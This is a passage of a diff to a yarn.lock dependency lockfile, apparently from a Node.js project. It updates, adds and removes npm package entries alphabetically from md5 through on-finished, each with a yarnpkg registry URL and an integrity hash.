   integrity sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==
@@ -11480,12 +12532,14 @@ matcher@^3.0.0:
   dependencies:
     escape-string-regexp "^4.0.0"
 
-mdn-browser-compat-data@1.0.25:
-  version "1.0.25"
-  resolved "https://registry.yarnpkg.com/mdn-browser-compat-data/-/mdn-browser-compat-data-1.0.25.tgz#140744490d69c3a1792338173d567f49377fca38"
-  integrity sha512-4klqILpitRnmWRai5Ols/GXP1eGDYMluAcBRoNZnGNkV2OnkDmpA9hUlM+9pTFym5FGDO5TAm3HweVSVc7ziiQ==
+md5@^2.2.1:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/md5/-/md5-2.3.0.tgz#c3da9a6aae3a30b46b7b0c349b87b110dc3bda4f"
+  integrity sha512-T1GITYmFaKuO91vxyoQMFETst+O71VUPEU3ze5GNzDm0OWdP8v1ziTaAEPUr/3kLsY3Sftgz242A1SetQiDL7g==
   dependencies:
-    extend "3.0.2"
+    charenc "0.0.2"
+    crypt "0.0.2"
+    is-buffer "~1.1.6"
 
 mdn-data@2.0.14:
   version "2.0.14"
@@ -11530,11 +12584,6 @@ memfs@^3.4.3:
   resolved "https://registry.yarnpkg.com/memoize-one/-/memoize-one-5.2.1.tgz#8337aa3c4335581839ec01c3d594090cebe8f00e"
   integrity sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q==
 
-memoize-one@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/memoize-one/-/memoize-one-3.1.1.tgz#ef609811e3bc28970eac2884eece64d167830d17"
-  integrity sha512-YqVh744GsMlZu6xkhGslPSqSurOv6P+kLN2J3ysBZfagLcL5FdRK/0UpgLoL8hwjjEvvAVkjJZyFP+1T6p1vgA==
-
 memoize-one@^5.1.1:
   version "5.1.1"
   resolved "https://registry.yarnpkg.com/memoize-one/-/memoize-one-5.1.1.tgz#047b6e3199b508eaec03504de71229b8eb1d75c0"
@@ -11556,10 +12605,10 @@ meow@^3.3.0:
     redent "^1.0.0"
     trim-newlines "^1.0.0"
 
-merge-descriptors@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61"
-  integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=
+merge-descriptors@1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.3.tgz#d80319a65f3c7935351e5cfdac8f9318504dbed5"
+  integrity sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==
 
 merge-stream@^2.0.0:
   version "2.0.0"
@@ -11645,7 +12694,7 @@ mime-types@^2.1.26:
   dependencies:
     mime-db "1.44.0"
 
-mime-types@~2.1.17, mime-types@~2.1.19, mime-types@~2.1.24:
+mime-types@~2.1.17, mime-types@~2.1.24:
   version "2.1.24"
   resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.24.tgz#b6f8d0b3e951efb77dedeca194cff6d16f676f81"
   integrity sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==
@@ -11657,16 +12706,16 @@ mime@1.6.0:
   resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
   integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==
 
-mime@^2.4.6:
-  version "2.6.0"
-  resolved "https://registry.yarnpkg.com/mime/-/mime-2.6.0.tgz#a2a682a95cd4d0cb1d6257e28f83da7e35800367"
-  integrity sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==
-
 mimic-fn@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
   integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==
 
+mimic-fn@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-4.0.0.tgz#60a90550d5cb0b239cca65d893b1a53b29871ecc"
+  integrity sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==
+
 mimic-response@^1.0.0, mimic-response@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/mimic-response/-/mimic-response-1.0.1.tgz#4923538878eef42063cb8a3e3b0798781487ab1b"
@@ -11677,6 +12726,11 @@ mimic-response@^3.1.0:
   resolved "https://registry.yarnpkg.com/mimic-response/-/mimic-response-3.1.0.tgz#2d1d59af9c1b129815accc2c46a022a5ce1fa3c9"
   integrity sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==
 
+mimic-response@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/mimic-response/-/mimic-response-4.0.0.tgz#35468b19e7c75d10f5165ea25e75a5ceea7cf70f"
+  integrity sha512-e5ISH9xMYU0DzrT+jl8q2ze9D6eWBto+I8CNpe+VI+K2J/F/k3PdkdTdz4wvGVH4NTpo+NRYTVIuMQEMMcsLqg==
+
 mini-css-extract-plugin@^2.7.7:
   version "2.8.1"
   resolved "https://registry.yarnpkg.com/mini-css-extract-plugin/-/mini-css-extract-plugin-2.8.1.tgz#75245f3f30ce3a56dbdd478084df6fe475f02dc7"
@@ -11690,7 +12744,7 @@ minimalistic-assert@^1.0.0:
   resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7"
   integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==
 
-"minimatch@2 || 3", minimatch@^3.0.3, minimatch@^3.0.4:
+"minimatch@2 || 3", minimatch@^3.0.4:
   version "3.0.4"
   resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
   integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
@@ -11725,6 +12779,13 @@ minimatch@^9.0.1:
   dependencies:
     brace-expansion "^2.0.1"
 
+minimatch@^9.0.4:
+  version "9.0.5"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.5.tgz#d74f9dd6b57d83d8e98cfb82133b03978bc929e5"
+  integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
+  dependencies:
+    brace-expansion "^2.0.1"
+
 minimist@1.x, minimist@^1.1.1, minimist@^1.1.3, minimist@^1.2.0, minimist@^1.2.5:
   version "1.2.5"
   resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
@@ -11740,6 +12801,11 @@ minimist@^1.2.3:
   resolved "https://registry.yarnpkg.com/minipass/-/minipass-6.0.2.tgz#542844b6c4ce95b202c0995b0a471f1229de4c81"
   integrity sha512-MzWSV5nYVT7mVyWCwn2o7JH13w2TBRmmSqSRCKzTw+lmft9X4z+3wjvs06Tzijo5z4W/kahUCDpRXTF+ZrmF/w==
 
+"minipass@^5.0.0 || ^6.0.2 || ^7.0.0", minipass@^7.1.2:
+  version "7.1.2"
+  resolved "https://registry.yarnpkg.com/minipass/-/minipass-7.1.2.tgz#93a9626ce5e5e66bd4db86849e7515e92340a707"
+  integrity sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==
+
 mixin-deep@^1.2.0:
   version "1.3.2"
   resolved "https://registry.yarnpkg.com/mixin-deep/-/mixin-deep-1.3.2.tgz#1120b43dc359a785dce65b55b82e257ccf479566"
@@ -11748,10 +12814,10 @@ mixin-deep@^1.2.0:
     for-in "^1.0.2"
     is-extendable "^1.0.1"
 
-mkdirp@1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e"
-  integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==
+mkdirp@3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-3.0.1.tgz#e44e4c5607fb279c168241713cc6e0fea9adcb50"
+  integrity sha512-+NsyUUAZDmo6YVHzL/stxSu3t9YS1iljliy3BSDrXJ/dkn1KYdmtZODGGjLcc9XLgVVpH4KshHB8XmZgMhaBXg==
 
 mkdirp@^0.5.1, mkdirp@^0.5.3, mkdirp@~0.5.1:
   version "0.5.5"
@@ -11760,10 +12826,15 @@ mkdirp@^0.5.1, mkdirp@^0.5.3, mkdirp@~0.5.1:
   dependencies:
     minimist "^1.2.5"
 
-moment@^2.10.6:
-  version "2.29.4"
-  resolved "https://registry.yarnpkg.com/moment/-/moment-2.29.4.tgz#3dbe052889fe7c1b2ed966fcb3a77328964ef108"
-  integrity sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w==
+mkdirp@^1.0.3:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e"
+  integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==
+
+moment@^2.19.3:
+  version "2.30.1"
+  resolved "https://registry.yarnpkg.com/moment/-/moment-2.30.1.tgz#f8c91c07b7a786e30c59926df530b4eac96974ae"
+  integrity sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==
 
 ms@2.0.0:
   version "2.0.0"
@@ -11775,7 +12846,7 @@ ms@2.1.2:
   resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
   integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
 
-ms@2.1.3, ms@^2.1.1, ms@^2.1.2:
+ms@2.1.3, ms@^2.1.1, ms@^2.1.3:
   version "2.1.3"
   resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
   integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
@@ -11788,22 +12859,16 @@ multicast-dns@^7.2.5:
     dns-packet "^5.2.2"
     thunky "^1.0.2"
 
-multimatch@4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/multimatch/-/multimatch-4.0.0.tgz#8c3c0f6e3e8449ada0af3dd29efb491a375191b3"
-  integrity sha512-lDmx79y1z6i7RNx0ZGCPq1bzJ6ZoDDKbvh7jxr9SJcWLkShMzXrHbYVpTdnhNM5MXpDUxCQ4DgqVttVXlBgiBQ==
+multimatch@6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/multimatch/-/multimatch-6.0.0.tgz#c72a9bddbc94baa4727efd613b5d22a1fe4d6ee3"
+  integrity sha512-I7tSVxHGPlmPN/enE3mS1aOSo6bWBfls+3HmuEeCUBCE7gWnm3cBXCBkpurzFjVRwC6Kld8lLaZ1Iv5vOcjvcQ==
   dependencies:
-    "@types/minimatch" "^3.0.3"
-    array-differ "^3.0.0"
-    array-union "^2.1.0"
-    arrify "^2.0.1"
+    "@types/minimatch" "^3.0.5"
+    array-differ "^4.0.0"
+    array-union "^3.0.1"
     minimatch "^3.0.4"
 
-mute-stream@0.0.8:
-  version "0.0.8"
-  resolved "https://registry.yarnpkg.com/mute-stream/-/mute-stream-0.0.8.tgz#1630c42b2251ff81e2a283de96a5497ea92e5e0d"
-  integrity sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==
-
 mv@~2:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/mv/-/mv-2.1.1.tgz#ae6ce0d6f6d5e0a4f7d893798d03c1ea9559b6a2"
@@ -11813,7 +12878,7 @@ mv@~2:
     ncp "~2.0.0"
     rimraf "~2.4.0"
 
-mz@2.7.0:
+mz@2.7.0, mz@^2.7.0:
   version "2.7.0"
   resolved "https://registry.yarnpkg.com/mz/-/mz-2.7.0.tgz#95008057a56cafadc2bc63dde7f9ff6955948e32"
   integrity sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==
@@ -11861,11 +12926,6 @@ native-url@^0.2.6:
   dependencies:
     querystring "^0.2.0"
 
-natural-compare-lite@~1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/natural-compare-lite/-/natural-compare-lite-1.4.0.tgz#17b09581988979fddafe0201e931ba933c96cbb4"
-  integrity sha1-F7CVgZiJef3a/gIB6TG6kzyWy7Q=
-
 natural-compare@^1.4.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
@@ -11886,7 +12946,7 @@ negotiator@0.6.3:
   resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.3.tgz#58e323a72fedc0d6f9cd4d31fe49f51479590ccd"
   integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==
 
-neo-async@^2.5.0, neo-async@^2.6.1:
+neo-async@^2.6.1:
   version "2.6.1"
   resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.1.tgz#ac27ada66167fa8849a6addd837f6b189ad2081c"
   integrity sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw==
@@ -11896,11 +12956,6 @@ neo-async@^2.6.2:
   resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f"
   integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==
 
-next-tick@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/next-tick/-/next-tick-1.0.0.tgz#ca86d1fe8828169b0120208e3dc8424b9db8342c"
-  integrity sha1-yobR/ogoFpsBICCOPchCS524NCw=
-
 nice-try@^1.0.4:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/nice-try/-/nice-try-1.0.5.tgz#a3378a7696ce7d223e88fc9b764bd7ef1089e366"
@@ -11911,6 +12966,11 @@ node-cleanup@^2.1.2:
   resolved "https://registry.yarnpkg.com/node-cleanup/-/node-cleanup-2.1.2.tgz#7ac19abd297e09a7f72a71545d951b517e4dde2c"
   integrity sha1-esGavSl+Caf3KnFUXZUbUX5N3iw=
 
+node-domexception@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/node-domexception/-/node-domexception-1.0.0.tgz#6888db46a1f71c0b76b3f7555016b63fe64766e5"
+  integrity sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==
+
 node-environment-flags@^1.0.5:
   version "1.0.6"
   resolved "https://registry.yarnpkg.com/node-environment-flags/-/node-environment-flags-1.0.6.tgz#a30ac13621f6f7d674260a54dede048c3982c088"
@@ -11926,6 +12986,15 @@ node-fetch@2.6.7:
   dependencies:
     whatwg-url "^5.0.0"
 
+node-fetch@3.3.2:
+  version "3.3.2"
+  resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-3.3.2.tgz#d1e889bacdf733b4ff3b2b243eb7a12866a0b78b"
+  integrity sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==
+  dependencies:
+    data-uri-to-buffer "^4.0.0"
+    fetch-blob "^3.1.4"
+    formdata-polyfill "^4.0.10"
+
 node-fetch@^1.0.1:
   version "1.7.3"
   resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-1.7.3.tgz#980f6f72d85211a5347c6b2bc18c5b84c3eb47ef"
@@ -11941,12 +13010,7 @@ node-fetch@^2.6.7:
   dependencies:
     whatwg-url "^5.0.0"
 
-node-forge@^0.7.1:
-  version "0.7.6"
-  resolved "https://registry.yarnpkg.com/node-forge/-/node-forge-0.7.6.tgz#fdf3b418aee1f94f0ef642cd63486c77ca9724ac"
-  integrity sha512-sol30LUpz1jQFBjOKwbjxijiE3b6pjd74YwfD0fJOKPjF+fONKb2Yg8rYgS6+bK6VDl+/wfr4IYpC7jDzLUIfw==
-
-node-forge@^1:
+node-forge@^1, node-forge@^1.3.1:
   version "1.3.1"
   resolved "https://registry.yarnpkg.com/node-forge/-/node-forge-1.3.1.tgz#be8da2af243b2417d5f646a770663a92b7e9ded3"
   integrity sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==
@@ -11990,16 +13054,17 @@ node-modules-regexp@^1.0.0:
   resolved "https://registry.yarnpkg.com/node-modules-regexp/-/node-modules-regexp-1.0.0.tgz#8d9dbe28964a4ac5712e9131642107c71e90ec40"
   integrity sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA=
 
-node-notifier@6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/node-notifier/-/node-notifier-6.0.0.tgz#cea319e06baa16deec8ce5cd7f133c4a46b68e12"
-  integrity sha512-SVfQ/wMw+DesunOm5cKqr6yDcvUTDl/yc97ybGHMrteNEY6oekXpNpS3lZwgLlwz0FLgHoiW28ZpmBHUDg37cw==
+node-notifier@10.0.1:
+  version "10.0.1"
+  resolved "https://registry.yarnpkg.com/node-notifier/-/node-notifier-10.0.1.tgz#0e82014a15a8456c4cfcdb25858750399ae5f1c7"
+  integrity sha512-YX7TSyDukOZ0g+gmzjB6abKu+hTGvO8+8+gIFDsRCU2t8fLV/P2unmt+LGFaIa4y64aX98Qksa97rgz4vMNeLQ==
   dependencies:
     growly "^1.3.0"
-    is-wsl "^2.1.1"
-    semver "^6.3.0"
+    is-wsl "^2.2.0"
+    semver "^7.3.5"
     shellwords "^0.1.1"
-    which "^1.3.1"
+    uuid "^8.3.2"
+    which "^2.0.2"
 
 node-releases@^1.1.46:
   version "1.1.47"
@@ -12013,16 +13078,16 @@ node-releases@^1.1.60:
   resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.60.tgz#6948bdfce8286f0b5d0e5a88e8384e954dfe7084"
   integrity sha512-gsO4vjEdQaTusZAEebUWp2a5d7dF5DYoIpDG7WySnk7BuZDW+GPpHXoXXuYawRBr/9t5q54tirPz79kFIWg4dA==
 
-node-releases@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.1.tgz#3d1d395f204f1f2f29a54358b9fb678765ad2fc5"
-  integrity sha512-CqyzN6z7Q6aMeF/ktcMVTzhAHCEpf8SOarwpzpf8pNBY2k5/oM34UHldUwp8VKI7uxct2HxSRdJjBaZeESzcxA==
-
 node-releases@^2.0.14, node-releases@^2.0.8:
   version "2.0.14"
   resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.14.tgz#2ffb053bceb8b2be8495ece1ab6ce600c4461b0b"
   integrity sha512-y10wOWt8yZpqXmOgRo77WaHEmhYQYGNA6y421PKsKYWEK8aW+cqAphborZDhqfyKrbZEN92CN1X2KbafY2s7Yw==
 
+node-releases@^2.0.19:
+  version "2.0.19"
+  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.19.tgz#9e445a52950951ec4d177d843af370b411caf314"
+  integrity sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==
+
 node-rsa@^1.0.5:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/node-rsa/-/node-rsa-1.0.5.tgz#854dc1b275729d69bc25883f83ca80705db9262e"
@@ -12030,6 +13095,11 @@ node-rsa@^1.0.5:
   dependencies:
     asn1 "^0.2.4"
 
+node-stream-zip@^1.15.0:
+  version "1.15.0"
+  resolved "https://registry.yarnpkg.com/node-stream-zip/-/node-stream-zip-1.15.0.tgz#158adb88ed8004c6c49a396b50a6a5de3bca33ea"
+  integrity sha512-LN4fydt9TqhZhThkZIVQnF9cwjU3qmUH9h78Mx/K7d3VvfRqqwthLwJEUOEL0QPZ0XQmNN7be5Ggit5+4dq3Bw==
+
 node-version@^1.0.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/node-version/-/node-version-1.2.0.tgz#34fde3ffa8e1149bd323983479dda620e1b5060d"
@@ -12081,6 +13151,11 @@ normalize-url@^6.0.1:
   resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-6.1.0.tgz#40d0885b535deffe3f3147bec877d05fe4c5668a"
   integrity sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==
 
+normalize-url@^8.0.0:
+  version "8.0.1"
+  resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-8.0.1.tgz#9b7d96af9836577c58f5883e939365fa15623a4a"
+  integrity sha512-IO9QvjUMWxPQQhs60oOu10CRkWCiZzSUkzbXGGV9pviYl1fXYcvkzQ5jV9z8Y6un8ARoVRl4EtC6v6jNqbaJ/w==
+
 npm-conf@^1.1.0:
   version "1.1.3"
   resolved "https://registry.yarnpkg.com/npm-conf/-/npm-conf-1.1.3.tgz#256cc47bd0e218c259c4e9550bf413bc2192aff9"
@@ -12103,27 +13178,36 @@ npm-run-path@^4.0.0, npm-run-path@^4.0.1:
   dependencies:
     path-key "^3.0.0"
 
-nth-check@^1.0.2, nth-check@~1.0.1:
+npm-run-path@^5.1.0:
+  version "5.3.0"
+  resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-5.3.0.tgz#e23353d0ebb9317f174e93417e4a4d82d0249e9f"
+  integrity sha512-ppwTtiJZq0O/ai0z7yfudtBpWIoxM8yE6nHi1X47eFR2EWORqfbu6CnPlNsjeN683eT0qG6H/Pyf9fCcvjnnnQ==
+  dependencies:
+    path-key "^4.0.0"
+
+nth-check@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-1.0.2.tgz#b2bd295c37e3dd58a3bf0700376663ba4d9cf05c"
   integrity sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==
   dependencies:
     boolbase "~1.0.0"
 
+nth-check@^2.0.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-2.1.1.tgz#c9eab428effce36cd6b92c924bdb000ef1f1ed1d"
+  integrity sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==
+  dependencies:
+    boolbase "^1.0.0"
+
 nullthrows@^1.0.0, nullthrows@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/nullthrows/-/nullthrows-1.1.1.tgz#7818258843856ae971eae4208ad7d7eb19a431b1"
   integrity sha512-2vPPEi+Z7WqML2jZYddDIfy5Dqb0r2fze2zTxNNknZaFpVHU3mFB3R+DWeJWGVx0ecvttSGlJTI+WG+8Z4cDWw==
 
 nwsapi@^2.2.4:
-  version "2.2.9"
-  resolved "https://registry.yarnpkg.com/nwsapi/-/nwsapi-2.2.9.tgz#7f3303218372db2e9f27c27766bcfc59ae7e61c6"
-  integrity sha512-2f3F0SEEer8bBu0dsNCFF50N0cTThV1nWFYcEYFZttdW0lDAoybv9cQoK7X7/68Z89S7FoRrVjP1LPX4XRf9vg==
-
-oauth-sign@~0.9.0:
-  version "0.9.0"
-  resolved "https://registry.yarnpkg.com/oauth-sign/-/oauth-sign-0.9.0.tgz#47a7b016baa68b5fa0ecf3dee08a85c679ac6455"
-  integrity sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==
+  version "2.2.10"
+  resolved "https://registry.yarnpkg.com/nwsapi/-/nwsapi-2.2.10.tgz#0b77a68e21a0b483db70b11fad055906e867cda8"
+  integrity sha512-QK0sRs7MKv0tKe1+5uZIQk/C8XGza4DAnztJG8iD+TpJIORARrCxczA738awHrZoHeTjSSoHqao2teO0dC/gFQ==
 
 object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^4.1.1:
   version "4.1.1"
@@ -12144,16 +13228,16 @@ object-inspect@^1.10.3:
   resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.11.0.tgz#9dceb146cedd4148a0d9e51ab88d34cf509922b1"
   integrity sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==
 
+object-inspect@^1.13.1:
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.2.tgz#dea0088467fb991e67af4058147a24824a3043ff"
+  integrity sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==
+
 object-inspect@^1.7.0:
   version "1.8.0"
   resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.8.0.tgz#df807e5ecf53a609cc6bfe93eac3cc7be5b3a9d0"
   integrity sha512-jLdtEOB112fORuypAyl/50VRVIBIdVQOSUUGQHzJ4xBSbit81zRarz7GThkEFZy1RceYrWYcPcBFPQwHyAc1gA==
 
-object-inspect@^1.9.0:
-  version "1.12.3"
-  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.12.3.tgz#ba62dffd67ee256c8c086dfae69e016cd1f198b9"
-  integrity sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==
-
 object-keys@^1.0.11, object-keys@^1.0.12, object-keys@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
@@ -12224,6 +13308,11 @@ obuf@^1.0.0, obuf@^1.1.2:
   resolved "https://registry.yarnpkg.com/obuf/-/obuf-1.1.2.tgz#09bea3343d41859ebd446292d11c9d4db619084e"
   integrity sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==
 
+on-exit-leak-free@^2.1.0:
+  version "2.1.2"
+  resolved "https://registry.yarnpkg.com/on-exit-leak-free/-/on-exit-leak-free-2.1.2.tgz#fed195c9ebddb7d9e4c3842f93f281ac8dadd3b8"
+  integrity sha512-0eJJY6hXLGf1udHwfNftBqH+g73EU4B504nZeKpz1sYRKafAghwxEJunB2O7rDZkL4PGfsMVnTXZ2EjibbqcsA==
+
 on-finished@2.4.1:
   version "2.4.1"
